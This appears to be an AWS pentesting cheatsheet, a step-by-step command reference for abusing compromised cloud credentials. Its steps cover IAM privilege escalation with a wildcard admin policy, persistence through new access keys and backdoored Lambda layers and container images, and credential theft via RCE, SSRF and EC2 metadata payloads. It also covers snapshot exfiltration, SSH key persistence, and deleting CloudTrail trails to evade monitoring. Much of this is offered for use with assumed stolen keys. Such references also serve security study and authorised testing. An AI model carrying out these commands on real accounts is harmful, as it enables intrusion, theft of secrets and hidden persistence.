AWSome Pentesting Cheatsheet

23 minute read

This guide was created to help pentesters learning more about AWS misconfigurations and ways to abuse them.

It was created with my notes gathered with uncontable hours of study and annotations from various places
It’s assumed that you have the AWS keys (~~This is not difficult to find, just look in developer’s github~~)
Author -> pop3ret

General Guidelines and tools

Scout Suite -> Security Healthcheck
Pacu -> AWS Exploitation Framework
https://github.com/cyberark/SkyArk -> Discover most privileged users within AWS infrastructure
Boto3 -> AWS SDK for python
AWS Consoler -> Convert AWS Credentials into a console access

AWS Cheatsheet

Searching for open buckets

https://buckets.grayhatwarfare.com/

ARN

A number to identify an object in AWS

Example

arn:aws:iam:100:user/admin

Field -> ARN
Field -> Type, most of time will be AWS
Field -> service, in this case IAM
Field -> User ID
Field -> entity identifier

IAM

It’s assumed that we have gain access to the AWS Credentials
We can see if we have permissions using Amazon’s policy simulator
Always look for policies and roles with the * symbol.
See which user do not have MFA enabled
User enumeration in IAM Panel and group enumeration
We can also enumerate roles from the same interface
Root user is super admin

Configure AWS cli

aws configure

Or configure it using a profile

aws configure --profile example_name

The credential file is located in ~/.aws/credentials

Listing IAM access Keys

aws iam list-acess-keys

1. Enumerating IAM users

Checking credentials for the user

aws sts get-caller-identity

Listing IAM Users

aws iam list-users

Listing the IAM groups that the specified IAM user belongs to

aws iam list-groups-for-user --user-name user-name

Listing all manages policies that are attached to the specified IAM user

aws iam list-attached-user-policies --user-name user-name

Listing the names of the inline policies embedded in the specified IAM user

aws iam list-user-policies --user-name user-name

2. Enumeration Groups IAM

Listing IAM Groups

aws iam list-groups

Listing all managed policies that are attached to the specified IAM Group

aws iam list-attached-group-policies --group-name group-name

Listing the names of the inline policies embedded in the specified IAM Group

aws iam list-group-policies --group-name group name

3. Enumeratig Roles

Listing IAM Roles

aws iam list-roles

Listsing all managed policies that are attached to the specified IAM role

aws iam list-attached-role-policies --role-name role-name

Listing the names of the inline policies embedded in the specified IAM role

aws iam list-role-policies --role-name role-name

4. Enumerating Policies

Listing of IAM Policies

aws iam list-policies

Retrieving information about the specified managed policy

aws iam get-policy --policy-arn policy-arn

Listing information about the versions of the specified manages policy

aws iam list-policy-versions --policy-arn policy-arn

Retrieving information about the specific version of the specified managed policy

aws iam get-policy-version --policy-arn policy-arn --version-id version-id

Retrieving the specified inline policy document that is embedded on the specified IAM user / group / role

aws iam get-user-policy --user-name user-name --policy-name policy-name

aws iam get-group-policy --group-name group-name --policy-name policy-name

aws iam get-role-policy --role-name role-name --policy-name policy-name

5. Exploitation Scenario

General Guidelines

AWS token compromised (Developer machine, phishing etc) and we as attackers will gonna use it.

Enumerating the owner of the key and initial compromise

aws sts get-caller-identity

Or specifing a profile

aws sts get-caller-identity --profile example_name

If you have the password of the root account instead of key, log in

https://signin.aws.amazon.com/console

Or use the IAM in case the account is not the root

https://account-id-here.signin.aws.amazon.com/console

The account id can be cathered using the sts get caller command.

Privilege Escalation

Privilege escalation on AWS is based on misconfigurations, if we have more permissions than necessary, its possible to obtain higher privileges.

Study Case

A user was compromised with the List Policy and Put User Policy permissions, an attacker could leverage this Put User privilege to add an inline administrator to itself, making it administrator of the instance.

Exploitation

Getting the IAM user

aws sts get-caller-identity

Listing policies attached to an user

aws iam list-attached-user-policies --user-name example_name -- profile example_profile

Retrieving informations about an specific policy

aws iam get-policy --policy-arn policy_arn

If there are more than one version of the policy, we can also list them

aws iam list-policy-versions --policy-arn policy_arn

Now we can finally retrieve the contents of the policy

aws iam get-policy-version --policy-arn example_arn --version-id id_example

It’s important to use the command above to chech the information about the default policy

Escalation

If we have the PutUserPolicy is enabled, we can add an inline administrator policy to our user.

Administrator policy example

{
	"Version": "2021-10-17",
	"Statement" : [
		{
			"Effect":"Allow",
			"Action": [
				"*"
			],
			"Resource":[
				"*"
			]
		}
	]
}

Attaching this policy into our user

aws iam put-user-policy --user-name example_username --policy-name example_name --policy-document file://AdminPolicy.json

Listing inline policies of our user

aws iam list-user-policies --user-name example_name

Listing a restricted resource (Example S3)

aws s3 ls --profile example_profile

Interesting Permissions

iam:AttachUserPolicy -> Attach a policy to a user
iam:AttachGroupPolicy -> Attach a policy to a group
iam:AttachRolePolicy -> Attach a policy to a role
iam:CreateAccessKey -> Creates a new access key
iam:CreateLoginProfile -> Creates a new login profile
iam:UpdateLoginProfile -> Update an existing login profile
iam:PassRole and ec2:RunInstances -> Creates an EC2 instance with an existing instance profile
iam:PuserUserPolicy -> Create/Update an inline policy
iam:PutGroupPolicy -> Create/Update an inline policy for a group
iam:PutRolePolicy -> Create/Update an inline policy for a role
iam:AddUserToGroup -> Add an user to a group
iam:UpdateAssumeRolePolicy and sts:AssumeRole -> Update the AssumeRolePolicyDocument of a role
iam:PassRole,lambda:CreateFunction and lambda:InvokeFunction -> Pass a role to a new lambda function and invoke it
lambda:UpdateFunctionCode -> Update the code of an existing lambda function

Persistence & Backdooring

Suppose we have two users, the user A has permissions to create Access Keys to user B, this misconfig allows us to create an access key for user B and persist our access.

Creating a new acess key for another user

aws iam create-access-key --username example_username

Configuring AWS cli for the new user

aws configure --profile example_profile

Remember, an user can have the maximum of 2 access keys.

Testing the credential

aws sts get-caller-identity --profile example_profile

Accessing more credentials

It’s possible to assume other roles with the sts:AssumeRole permission (Example: An user doesn’t have access to an s3 instance, but it has this permission, we can easily assume other roles if we are in the trust relashionship, increasing our access in the instance)

Listing managed policies attached to an user

aws iam list-attached-user-policies --user-name example_name

Retrieving information about an specific policy

aws iam get-policy --policy-arn ARN

Listing information about the version of the policy

aws iam list-policy-versions --policy-arn ARN

Retrieving information about an specific version

aws iam get-policy-version --policy-arn policy_arn --version-id ID

Listing IAM roles

aws iam list-roles

Listing trust relashionship between role and user (Which roles we can assume)

aws iam get-role --role-name role_name

Listing all managed policies attached to the specific IAM role

aws iam liast-attached-role-policies --role-name role_name

Retrieving information about the specified version of the policy

aws iam get-policy-version --policy-arn policy_arn --version-id ID

Getting temporary credentials for the role

aws sts assume-role --role-arn role_arn --role-session-name session_name

Configuring AWS cli with newer credentials (On Linux)

export AWS_ACCESS_KEY_ID
export AWS_SECRET_KEY
export AWS_SESSION_TOKEN

Getting information about the temporary credential

aws sts get-caller-identity

S3 - Simple Storage System

Storage system that allow users to store and retrieve data.
List,Get,Put and Delete operations can be performed on the objects of the bucket
Buckets are global, meaning that they are available to all regions
It’s possible to bruteforce the bucket name and region in the URL
Its possible to apply ACL’s to bucket and object level and bucket policies for bucket level
There is also time limited URL’s and identity based policies
Identity policies are enumerated using IAM commands

Enumeration

Listing all buckets in aws account

aws s3api list-buckets

Getting information about a specific bucket

aws s3api get-bucket-acl --bucket name

Getting information about a specific bucket policy

aws s3api get-bucket-policy --bucket name

Getting the Public Access Block configuration for an S3 bucket

aws s3api get-public-access-block --bucket name

Listing all objects in a specific bucket

aws s3api list-objects --bucket name

Getting ACL information about specific object

aws s3api get-object-acl --bucket-name name --key object_name

Data Exfiltration

It’s possible to brute-force files in the bucket
If the bucket is misconfigured, we can read data through web browser, cli/api or time-based URL.

Public Access

Just enter the URL in the browser

https://bucket-name.region.amazonaws.com/secret.txt

Authenticated User

aws s3api get-object --bucket name --key object-name download-file-location

Time-Based Url

Generate a time based url for an object
Userful if the object is not public

aws s3 presign s3://bucket-name/object-name --expires-in 605000

Lambda & API Gateway

Serverless event driven platform
Runs code in response to events and automatically manages computing resources required by that code
Can trigger from other AWS services or call directly from the API Gateway
A lambda function is a piece of code that is executed whenever is triggered by an event from an event source
API Gateway is an AWS service for creating, publishing, maintaining, monitoring and securing REST, HTTP and WebSocket API
API Gateway can be used to trigger lambda functions in a synchronous (api gateway), asynchronous (event) or stream (Poll Based) way.
If we found a lambda function that access an S3 (Example) its possible to change its code and gain access to the files.
If API Gateway is used, we can enumerate the API to see how its possible to invoke the lambda function (Craft the URL).

Enumeration

Listing All lambda functions

aws lambda list-functions

Listing information about a specific lambda function

aws lambda get-function --function-name function_name

This command enables us to download the source code of the lambda function

Listing policy information about the function

aws lambda get-policy --function-name function_name

We can get informations like who can execute this functions, ID and other informations with this command

Listing the event source mapping information about a lambda function

aws lambda list-event-source-mappings --function-name function_name

Listing Lambda Layers (Depedencies)

aws lambda list-layers

Listing full information about a lambda layer

aws lambda get-layer-version --layer-name name --version-number version_number

Listing Rest API’S

aws apigateway get-rest-apis

Listing information about a specific API

aws apigateway get-rest-api --rest-api-id ID

Listing information about endpoints

aws apigateway get-resources --rest-api-id ID

Listing information about a specific endpoint

aws apigateway get-resource --rest-api-id ID --resource-id ID

Listing method information for the endpoint

aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method

Test various methods to see if the API supports it.

Listing all versions of a rest api

aws apigateway get-stages --rest-api-id ID

Getting informatin about a specific version

aws apigateway get-stage --res-api-id ID --stage-name NAME

Listing API KEYS

aws apigateway get-api-keys --include-values

Getting information about a specific API Key

aws apigateway get-api-key --api-key KEY

Initial Access

Its possible to get RCE through API Gateway if it executes commands.
If you can execute commands, there is a way to retrieve keys from the API Gateway, just use env , configure aws cli and proceed with the exploitation.

Credential Access

Getting credentials from Lambda can be done in 2 ways

Keys in the source code
Keys in the enviroment variables

These keys can be gathered using SSRF, RCE and so on.

Getting credentials using RCE

https://apigateway/prod/system?cmd=env

Getting credentials using SSRF

https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/next

Getting credentials using SSRF and wrappers

https://apigateway/prod/system?cmd=file:///proc/self/environ

Getting credentials from lambda enviroment variables (cli)

aws lambda get-function --function-name NAME

It’s important to enumerate the functions first with aws lambda list-functions

Persistence

If the user has sufficient rights in the lambda function, its possible to download the source code, add a backdoor to it and upload. Everytime the lambda executes, the malicious code will also execute.
Always try to update the code of layers (depedencies) instead of the actual lambda code, this way our backdoor will be difficult to detect.

Checking which user is executing

aws sts get-caller-identity

Checking all managed policies attached to the user

aws iam list-attached-user-policies --user-name user_name

Checking informations about a specific policy

aws iam get-policy-version --policy-arn arn --version-id ID

Listing all lambda functions

aws lambda list-functions --region region

Listing information about the specified lambda

aws lambda get-function --function-name name

Download and analyze the codes

Listing policy information about the specific lambda function

aws lambda get-policy --function-name name --profile profile --region region

We can grab informations like id, who can invoke and other details with this command (Helps to build the query to execute the lambda function).

Listing Rest API’S

aws apigateway get-rest-apis

Listing information about a specific API

aws apigateway get-rest-api --rest-api-id ID

Listing information about endpoints

aws apigateway get-resources --rest-api-id ID

Listing information about a specific endpoint

aws apigateway get-resource --rest-api-id ID --resource-id ID

Listing method information for the endpoint

aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method

Test various methods to see if the API supports it.

Listing all versions of a rest api

aws apigateway get-stages --rest-api-id ID

Getting informatin about a specific version

aws apigateway get-stage --res-api-id ID --stage-name NAME

Uploading the backdoor code to aws lambda function

aws lambda update-function-code --function-name function --zip-file fileb://my-function.zip

Invoke the Function

curl https://uj3948ie.execute-api.us-east-2.amazonaws.com/default/EXAMPLE

Where

API-ID -> uj3948ie
Region -> us-east-2
Resource (Endpoint) -> EXAMPLE
Method -> Get
Stage (Version) -> default
API-Key -> None

All these details are gathered during the enumeration.

Privilege Escalation

If we have a user with PassRole and CreateFunction roles and also AttachRolePolicy role in a Lambda Function, its possible to create a function with a code that changes the lambda role to admin then the user to Administrator.

Create a lambda function and attach a role to it

aws lambda create-function --function-name my-function --runtime python3.7 --zip-file fileb://my-function.zip --handler my-function.handler --role ARN --region region

Inside the function’s code, we will add the administrator permission to the role and to the user

Example code to add the permissions

import boto3
import json

def handler(event,context)
	iam = boto3.client("iam")
	iam.attach.role.policy(RoleName="name",PolicyArn="arn",)
	iam.attach.user.policy(UserName="name",PolicyArn="arn",)
	return {
		'statusCode':200
		'body':json.dumps("Pwned")
	}

Invoke a lambda function

aws lambda invoke --function-name name response.json --region region

Listing managed policies to see if the change worked

aws iam list-attached-user-policies --user-name user_name

AWS Secret Manager

AWS Service that encrypts and store secrets
Transparently decrypts and return in plaintext
KMS used to store keys (AWS Key and Customer Managed Key)
Asymmetric and Symmetric keys can be created using KMS

Enumeration

Listing all secrets stored by Secret Manager

aws secretsmanager list-secrets

Listing information about a specific secret

aws secretsmanager describe-secret --secret-id name

Getting policies attached to the specified secret

aws secretsmanager get-resource-policy --secret-id ID

Listing keys in KMS

aws kms list-keys

Listing information about a specific key

aws kms describe-key --key-id ID

Listing policies attached to a specific key

aws kms list-key-policies --key-id ID

Getting full information about a policy

Shows who can access the keys

aws kms get-key-policy --policy-name name --key-id ID

Credential Exfiltration

If the user has access to Secret Manager, it can decrypt the secrets using the web, cli or API

Listing policies attached to an user

aws iam list-attached-user-policies --user-name name

Retrieving information about a specific version of policy

Here we can see the permissions

aws iam get-policy-version --policy-arn arn --version-id id

Listing all secrets stored by Secret Manager

aws secretsmanager list-secrets

Listing information about a specific secret

Here we get the secret Key Id to descript the secret

aws secretsmanager describe-secret --secret-id name

Getting resource-based policy attached to an specific secret

aws secretsmanager get-resource-policy --secret-id ID

Getting the secret value

Retrieves the actual value

aws secretsmanager get-secret-value --secret-id ID

KMS

If we compromised as an example an S3 with an encrypted file, we can decrypt it using the keys stored in KMS.

Listing an specific key

aws kms describe-key --key-id id

Listing policies attached to an specified key

Here we can see who can access the key, the description of it and so on

aws kms list-key-policies --key-id ID

Listing full information about a policy

Run the previous command in all keys to see who can access it

aws kms get-key-policy --policy-name name --key-id ID

Decrypt the secret using the key

There is no need to specificy the key information because this information is embbeded in the encrypted file

aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext

Containers

Divided into three categories

Registry -> Secure place to store container images (ECR)
Orchestration -> Configure when and where the containters run (ECS,EKS)
Compute -> Use to do computing related tasks (EC2, Fargate)
Its possible to create a backdoor image and add to a EKS cluster
Always look how VPC’s are communicatig with each other, maybe is possible to pivot through the EKS VPC from other VPC and compromise the entire cluster

Initial Access

The initial access can be done by exploiting some RCE in webapp to get access to the container, afterwards its possible to compromise the EC2.

After the RCE, we can list all secrets in EKS

https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount

Getting the secret information from EKS

https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount/token

It’s also possible to do sandbox escaping (Tool: deepce)

Enumeration

ECR

Listing all repositories in container registry

aws ecr describe-repositories

Listing information about repository policy

aws ecr get-repository-policy --repository-name name

Listing all images in a specific repository

aws ecr list-images --repository-name name

Listing information about an image

aws ecr describe-images --repository-name name --images-ids imageTag=name

ECS

Listing all ECS clusters

aws ecs list-clusters

Listing information about an specific cluster

aws ecs describe-clusters --cluster name

Listing all services in specified cluster

aws ecs list-services --cluster name

Listing information about an specific service

aws ecs descibe-services --cluster name --services name

This command shows the logs of the service

Listing tasks in specific cluster

aws ecs list-tasks --cluster name

Listing information about an specific task

aws ecs describe-tasks --cluster name -tasks taskArn

Also shows information about network, userful if trying to pivot

Listing all containers in specified cluster

aws ecs list-container-instances --cluster name

EKS

Listing all EKS clusters

aws eks list-clusters

Listing information about an specific cluster

aws eks describe-cluster --name name

Listing all node groups in specified cluster

aws eks list-nodegroups --cluster-name name

Listing specific information about a node group in a cluster

aws eks describe-nodegroup --cluster-name name --nodegroup-name name

Listing Fargate in specified cluster

aws eks list-fargate-profiles --cluster-name cluster-name

Listing information about a fargate profile in a cluster

aws eks describe-fargate-profiles --cluster-name name --fargate-profile-name name

Persistence

It’s possible to modify an existing docker image with a backdoor, when this image is used it will trigger our team server.

Enumerating the user

aws sts get-caller-identity

Listing manager policies attached to the IAM role

aws iam list-attached-role-policies --role-name name

Getting information about the version of the managed policy

aws iam get-policy-version --policy-arn arn --version-id id

Getting information about the repositories in container registry

aws ecr describe-repositories

Listing all images in the repository

aws ecr list-images --repository-name name

Listing information about an image

aws ecr describe-images --repository-name name --image-ids imageTag=Name

Authenticate the docker daemon to ECR

aws ecr get-login-password --region region | docker login --username AWS --password-stdin ecr_address

Building images with backdoor

docker build -t image_name

Tagging the docker image

docker tag image_name ecr_addr:Image_Name

Pushing the image to ECR

docker push ecr_addr:Image_Name

EC2

AMI, images used to create virtual machines
It’s possible to create a malicious image to compromise users
We can access an instance using SSH Keys, EC2 Instance Connect, Session Manager
The SSH Key method is permanent, we need to gather the private key to connect to the instance
EC2 Instance connect is an IAM right that we can add to a user, enabling us to temporarily connect to an instance
Session manager only work in browser and it does not need SSH Key
Windows machines can be accessed by using RDP, Session Manager
Security Groups acts as a virtual firewall to control inbound and outbound traffic, acts at the instance level, not the subnet level.

Enumeration

Listing information about all instances

aws ec2 describe-instances

Listing information about a specific region

aws ec2 describe-instances --region region

Listing information about specific instance

aws ec2 describe-instances --instance-ids ID

Extracting UserData attribute of specified instance

aws ec2 describe-instance-attribute --attribute userData --instance-id instanceID

This command gathers the metadata from the instance, like commands or secrets. The output is base64 encoded

Listing roles of an instance

aws ec2 describe-iam-instance-profile-associations

Exploitation

Initial access can happen by RCE or SSRF
Metadata can be used to exfiltrate information from the instance

Remote code execution

AWS Metadata

If we have remote code execution or SSRF, we can grab metadata information

curl http://169.254.169.254/latest/meta-data

Grabbing the keys to access the instance

curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Grabbing the keys in metadata version 2

TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/meta-data/

AWS Userdata

Version 1

curl http://169.254.169.254/latest/user-data/

Version 2

TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/user-data/

Privilege Escalation

One approach to get a shell in a instance is to put a reverse shell in UserData attribute, when the instance is launched, we will have the connection.
Another approach happens when we have the iam:PassRole and iam:AmazonEC2FullAccess permissions, we can add an administrator role to the compromised EC2 instance and access aws services.

Getting information about the key

aws sts get-caller-identity

Getting policies attached to the IAM user

aws iam list-attached-user-policies --user-name user_name

Getting information about a specific policy version

aws iam get-policy-version --policy-arn ARN --version-id ID

To attach a role to an EC2 instance, we can use the RCE to grab the ID

curl http://169.254.169.254/latest/meta-data/instance-id

Listing instance profiles

aws iam list-instance-profiles

Attach an instance profile to an EC2 instance

aws ec2 associate-iam-instance-profile --instance-id ID --iam-instance-profile Name=ProfileName

Credential Access

We can grab the credentials by abusing metadata (Web Application with SSRF,RCE and so on)

After the initial access

Enumerate the key (Role)

aws sts get-caller-identity

If there are roles associated with the key, we can grab the credentials by issuing a request to the metadata endpoint (v1 or v2)

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_OF_PREVIOUS_COMMAND

Configure the aws cli

aws configure

Or use enviroment variables.

Persistence

All the persistence techniques works here, SSH persistence, vim backdoor and so on.

SSH Persistence example

Generate SSH Key pair

ssh-keygen

Add public key to authorized_keys

echo "PUBLIC_Key" >> /home/user/.ssh/authorized_keys

Use the private key to connect

ssh -i public_key user@instance

Elastic Block Store

Block storage system used to store persistent data
It’s possible to attach this drive to EC2 and increase the storage (Like and HD, but scalable).
It’s possible to create a snapshot (It will be saved on S3) and create a volume from this snapshot.
It’s possible to attach the snapshot (Backup of BS) to an EC2 instance
Snapshots can be used as volumes or AMI’s

Enumeration

Enumerating EBS volumes

aws ec2 describe-volumes

If the volume is available, it can be attached to an EC2 instance
Check if the EBS is encrypted

Enumerating Snapshots

aws ec2 describe-snapshots --owner-ids self

Also check if the snapshot is encrypted

Exploitation & Data Exfiltration

Create a snapshot of an EC2 instance, create a volume from snapshot and attach to other EC2 instance.
User need to have IAM permissions on EC2
Maybe we don’t have the right to access the instance but have rights to create a snapshot and attach it to another machine.

Creating a snapshot of a specified volume

aws ec2 create-snapshot --volume volumeID --description "Example" --profile profile_name

Listing snapshots

aws ec2 describe-snapshots

Creating a volume from a snasphot

aws ec2 create-volume --snapshot-id ID --availability-zone ZONE --profile profile_name

The volume needs to be in the same availability zone as the instance we have access

Attaching the volume to an instance

aws ec2 attach-volume --volume-id VolumeID --instance-id InstanceID --device /dev/sdfd -> Can be other value

Mounting the volume

sudo mount /dev/sdfd /directory

After mounting, we will have access to the disk.

RDS - Relational Database Service

Service to use, operate and scale relational databases in AWS (MariaDB, MySQL and similar)
The access is done by using password, password+IAM or password+kerberos
It’s possible to restrict access using restriction such as specific EC2 or lambda or use network level restriction such as vpc, ip.
RDS Proxy hadles the traffic between the application and the database, it enables the enforcing of IAM permissions and use secrets manager to store credentials.

Enumeration

Listing information about clusters in RDS

aws rds describe-db-clusters

Listing information about RDS instances

aws rds describe-db-instances

IAMDatabaseAuthenticationEnabled: false -> Need password to access the instance

Listing information about subnet groups in RDS

aws rds describe-db-subnet-groups

Listing information about database security groups in RDS

aws rds describe-db-security-groups

Listing information about database proxies

aws rds describe-db-proxies

Data exfiltration

If the instance is in a security group or VPC, we need to compromise it first to access the database (For example, we compromise an EC2 instance in the same VPC, then its possible to connect)

List instances in RDS

aws rds describe-db-instances

List information about the specified security group

aws ec2 describe-security-groups --group-ids id

Password based authentication

mysql -h hostname -u name -P port -p password

IAM Based authentication

1. Identify the user

aws sts get-caller-identity

2. List all policies attached to a role

aws iam list-attached-role-policies --role-name name

3. Get information about a specific version of a policy

aws iam get-policy-version --policy-arn arn --version-id ID

4. Get a temporary token from the RDS

aws rds generate-db-auth-token --hostname hostname --port port --username username --region region

To be easier, we can put it in a variable

TOKEN=$(aws rds generate-db-auth-token --hostname hostname --port port --username username --region region)

5. Connect to the DB using the token

mysql -h hostname -u name -P port --enable-cleartext-plugin --user=user --password=$TOKEN

SSO & Other Services

Single Sign On (SSO)

Used to centrally manage access to multiple AWS accounts and applications.
Provide users a way to interact with all services and applications through one place
Can be used to manage access and user permissions to all AWS accounts
The identity source can use AWS SSO’s identity store or external identity store (Okta,SAML and similar)

CloudTrail

Log monitoring service, allow us to continuously monitor and retain account activity related to actions in our AWS account
Provide event history of AWS account activity, SDKs, command line tools and other services
Commonly used to detect unsual behavior in AWS account
Pacu automatically changes the user agent to deceive the logs of cloudtrail

Userful Commands

List trails

aws cloudtrail list-trails

Disabling CloudTrail

aws cloudtrail delete-trail --name example_trail --profile name

Disable monitoring of events from global events

aws cloudtrail update-trail --name example_trail --no-include-global-service-event

Disable CloudTrail on specific regions

aws cloudtrail update-trail --name example_trail --no-include-global-service-event --no-is-multi-region --region=eu-west

AWS Shield

Used to protect services from Denial of Service Attacks
There are 2 versions, the standard and the Advanced

AWS Waf

Used to protect applications against common web application attacks
Common WAF bypasses can be tested against it
To detect an WAF, we can use wafw00f

AWS Inspector

Automated security assessment service that helps improve the security and compliance of applications on AWS
Works with an agent

AWS Guard Duty

Threat detection service that monitors for malicious activity and unauthorized behavior
Works by collecting and analyzing logs

Virtual Private Cloud

Used to create an isolated infrastructure within the cloud, including subnets and so on.
If the VPC has an internet gateway, means its a public subnet
Every VPC can have Network ACL’s

Routing Tables

A set of rules to determine where the traffic will be directed, comes in form of Destination and Target, defined as follows

DESTINATION TARGET

IP          local -> VPC Internal
IP          igw   -> Internet Gateway
IP          nat   -> NAT Gateway
IP          pcx   -> VPC Peering
IP          vpce  -> VPC Endpoint
IP          vgw   -> VPN Gateway
IP          eni   -> Network Interface

VPC Internal -> Internal IP, no internet connection
Internet Gateway -> Used to access the internet
NAT Gateway -> Does the NAT between machines, allows one way connection to the internet
VPC Peering -> Allows the communication between 2 VPC’s
VPC Endpoint -> Used to access aws services without internet connection (Internet Gateway)
VPN Gateway -> Used to expand the cloud to on premises and vice-versa
Network Interface -> Network Interfaces

Enumeration

Listing VPC’s

aws ec2 describe-vpcs

Listing VPC’s specifing the region

aws ec2 describe-vpcs --region us-west-1

Listing VPC information by ID

aws ec2 describe-vpcs --filters "Name=vpc-id,Values=ID"

Listing subnet’s

aws ec2 describe-subnets

Listing subnet’s by VPC-id

aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID"

Listing routing tables

aws ec2 describe-route-tables

Listing routing tables by VPC-id

aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID"

Listing Network ACL’s

aws ec2 describe-network-acls

Lateral Movement and Pivoting

We can abuse VPC peering to do lateral movement

Scenario

There are 3 VPC’s -> A,B,C
A can acess B through peering and B access C. We can use VPC B as a peering pivot to acess VPC C from VPC A.
The lateral movement can be done if we gather keys or other machines
Always enumerate the subnets to see in which subnet we can access other VPC’s

Listing VPC peering connections

aws ec2 describe-vpc-peering-connections

Listing subnets of specific VPC (Important because the access can be restricted to specific subnets to other VPC’s)

aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID"

Listing routing tables

aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID"

Listing instances on the specified VPC ID

aws ec2 describe-instances --filters "Name=vpc-id,Values=ID"

Listing instances on the specified subnet

aws ec2 describe-instances --filters "Name=subnet-id,Values=ID"

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General Guidelines and tools

AWS Cheatsheet

Searching for open buckets

ARN

IAM

Configure AWS cli

Listing IAM access Keys

1. Enumerating IAM users

Checking credentials for the user

Listing IAM Users

Listing the IAM groups that the specified IAM user belongs to

Listing all manages policies that are attached to the specified IAM user

Listing the names of the inline policies embedded in the specified IAM user

2. Enumeration Groups IAM

Listing IAM Groups

Listing all managed policies that are attached to the specified IAM Group

Listing the names of the inline policies embedded in the specified IAM Group

3. Enumeratig Roles

Listing IAM Roles

Listsing all managed policies that are attached to the specified IAM role

Listing the names of the inline policies embedded in the specified IAM role

4. Enumerating Policies

Listing of IAM Policies

Retrieving information about the specified managed policy

Listing information about the versions of the specified manages policy

Retrieving information about the specific version of the specified managed policy

Retrieving the specified inline policy document that is embedded on the specified IAM user / group / role

5. Exploitation Scenario

General Guidelines

Enumerating the owner of the key and initial compromise

Privilege Escalation

Study Case

Exploitation

Attaching this policy into our user

Listing inline policies of our user

Listing a restricted resource (Example S3)

Interesting Permissions

Persistence & Backdooring

Creating a new acess key for another user

Configuring AWS cli for the new user

Testing the credential

Accessing more credentials

Listing managed policies attached to an user

Retrieving information about an specific policy

Listing information about the version of the policy

Retrieving information about an specific version

Listing IAM roles

Listing trust relashionship between role and user (Which roles we can assume)

Listing all managed policies attached to the specific IAM role

Retrieving information about the specified version of the policy

Getting temporary credentials for the role

Configuring AWS cli with newer credentials (On Linux)

Getting information about the temporary credential

S3 - Simple Storage System

Enumeration

Listing all buckets in aws account

Getting information about a specific bucket

Getting information about a specific bucket policy

Getting the Public Access Block configuration for an S3 bucket

Listing all objects in a specific bucket

Getting ACL information about specific object

Data Exfiltration

Public Access

Authenticated User

Time-Based Url

Lambda & API Gateway

Enumeration

Listing All lambda functions

Listing information about a specific lambda function

Listing policy information about the function

Listing the event source mapping information about a lambda function

Listing Lambda Layers (Depedencies)

Listing full information about a lambda layer

Listing Rest API’S

Listing information about a specific API

Listing information about endpoints

Listing information about a specific endpoint

Listing method information for the endpoint

Listing all versions of a rest api